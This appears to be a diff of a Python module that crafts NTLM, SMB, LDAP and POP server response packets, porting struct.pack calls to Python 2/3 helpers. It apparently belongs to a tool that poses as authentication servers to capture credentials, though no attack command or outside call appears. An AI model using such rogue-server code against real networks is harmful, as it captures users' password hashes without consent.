CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) self.fields["Len"] = StructWithLenPython2or3(">h",len(CalculateCompletePacket))
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2] self.fields["SSPIBuffLen"] = StructWithLenPython2or3("<i",len(CalculateSSPI))[:2]
# Target Name Offsets # Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset)) self.fields["TargetNameOffset"] = StructWithLenPython2or3("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2] self.fields["TargetNameLen"] = StructWithLenPython2or3("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2] self.fields["TargetNameMaxLen"] = StructWithLenPython2or3("<i", len(self.fields["TargetNameStr"]))[:2]
# AvPairs Offsets # AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset)) self.fields["TargetInfoOffset"] = StructWithLenPython2or3("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2] self.fields["TargetInfoLen"] = StructWithLenPython2or3("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2] self.fields["TargetInfoMaxLen"] = StructWithLenPython2or3("<i", len(CalculateAvPairsLen))[:2]
# AvPairs StrLen # AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2] self.fields["Av1Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2] self.fields["Av2Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2] self.fields["Av3Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2] self.fields["Av4Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2] self.fields["Av5Len"] = StructWithLenPython2or3("<i", len(str(self.fields["Av5Str"])))[:2]
##### SMTP Packets ##### ##### SMTP Packets #####
class SMTPGreeting(Packet): class SMTPGreeting(Packet):
@@ -571,6 +581,11 @@ class POPOKPacket(Packet):
("CRLF", "\r\n"), ("CRLF", "\r\n"),
]) ])
class POPNotOKPacket(Packet):
fields = OrderedDict([
("Code", "-ERR"),
("CRLF", "\r\n"),
])
##### LDAP Packets ##### ##### LDAP Packets #####
class LDAPSearchDefaultPacket(Packet): class LDAPSearchDefaultPacket(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -733,11 +748,11 @@ class LDAPNTLMChallenge(Packet):
###### Convert strings to Unicode first ###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
###### Workstation Offset ###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
@@ -749,23 +764,23 @@ class LDAPNTLMChallenge(Packet):
NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
##### LDAP Len Calculation: ##### LDAP Len Calculation:
self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen)) self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">i", len(CalculatePacketLen))
self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">i", len(OperationPacketLen))
self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">B", len(NTLMMessageLen))
##### Workstation Offset Calculation: ##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation)) self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation: ##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation: ##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
##### SMB Packets ##### ##### SMB Packets #####
class SMBHeader(Packet): class SMBHeader(Packet):
@@ -792,7 +807,7 @@ class SMBNego(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"]))) self.fields["bcc"] = StructPython2or3("<h",self.fields["data"])
class SMBNegoData(Packet): class SMBNegoData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -807,7 +822,7 @@ class SMBNegoData(Packet):
def calculate(self): def calculate(self):
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"]) CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])
CalculateBCC += str(self.fields["separator2"])+str(self.fields["dialect2"]) CalculateBCC += str(self.fields["separator2"])+str(self.fields["dialect2"])
self.fields["bcc"] = struct.pack("<h", len(CalculateBCC)) self.fields["bcc"] = StructWithLenPython2or3("<h", len(CalculateBCC))
class SMBSessionData(Packet): class SMBSessionData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -835,8 +850,8 @@ class SMBSessionData(Packet):
]) ])
def calculate(self): def calculate(self):
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"]) CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC)) self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"]))) self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
class SMBNegoFingerData(Packet): class SMBNegoFingerData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -872,7 +887,7 @@ class SMBSessionFingerData(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
class SMBTreeConnectData(Packet): class SMBTreeConnectData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -891,9 +906,9 @@ class SMBTreeConnectData(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2] self.fields["PasswdLen"] = StructWithLenPython2or3("<h", len(str(self.fields["Passwd"])))[:2]
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete)) self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccComplete))
class RAPNetServerEnum3Data(Packet): class RAPNetServerEnum3Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -943,16 +958,16 @@ class SMBTransRAPData(Packet):
else: else:
self.fields["PipeTerminator"] = "\x00\x00\x00" self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc. ##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le') self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
##Data Len ##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["TotalParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2] self.fields["ParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
##Packet len ##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"]) FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2] self.fields["ParamOffset"] = StructWithLenPython2or3("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len ##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"]) BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2] self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
class SMBNegoAnsLM(Packet): class SMBNegoAnsLM(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -980,8 +995,8 @@ class SMBNegoAnsLM(Packet):
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le') self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
self.fields["Server"] = self.fields["Server"].encode('utf-16le') self.fields["Server"] = self.fields["Server"].encode('utf-16le')
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"]) CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0] self.fields["Keylength"] = StructWithLenPython2or3("<h",len(self.fields["Key"]))[0]
class SMBNegoAns(Packet): class SMBNegoAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1033,18 +1048,18 @@ class SMBNegoAns(Packet):
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"]) MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen1))
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart)) self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLenStart))
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"]))) self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2)) self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2) self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen)) self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2) self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"]))) self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len)) self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2) self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4) self.fields["NegHintTag0ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-4)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"]))) self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMBNegoKerbAns(Packet): class SMBNegoKerbAns(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1105,20 +1120,20 @@ class SMBNegoKerbAns(Packet):
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"]) MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen1))
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart)) self.fields["InitContextTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLenStart))
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"]))) self.fields["ThisMechASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["ThisMechASNStr"])))
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2)) self.fields["SpNegoTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2))
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2) self.fields["NegTokenASNLen"] = StructWithLenPython2or3("<B", len(AsnLen2)-2)
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen)) self.fields["NegTokenTag0ASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen))
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2) self.fields["NegThisMechASNLen"] = StructWithLenPython2or3("<B", len(MechTypeLen)-2)
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"]))) self.fields["NegThisMech1ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech1ASNStr"])))
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"]))) self.fields["NegThisMech2ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech2ASNStr"])))
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"]))) self.fields["NegThisMech3ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech3ASNStr"])))
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"]))) self.fields["NegThisMech4ASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegThisMech4ASNStr"])))
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len)) self.fields["NegTokenTag3ASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len))
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2) self.fields["NegHintASNLen"] = StructWithLenPython2or3("<B", len(Tag3Len)-2)
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"]))) self.fields["NegHintFinalASNLen"] = StructWithLenPython2or3("<B", len(str(self.fields["NegHintFinalASNStr"])))
class SMBSession1Data(Packet): class SMBSession1Data(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -1197,13 +1212,13 @@ class SMBSession1Data(Packet):
def calculate(self): def calculate(self):
###### Convert strings to Unicode ###### Convert strings to Unicode
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le') self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le').decode('latin-1')
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le') self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le').decode('latin-1')
###### SecBlobLen Calc: ###### SecBlobLen Calc:
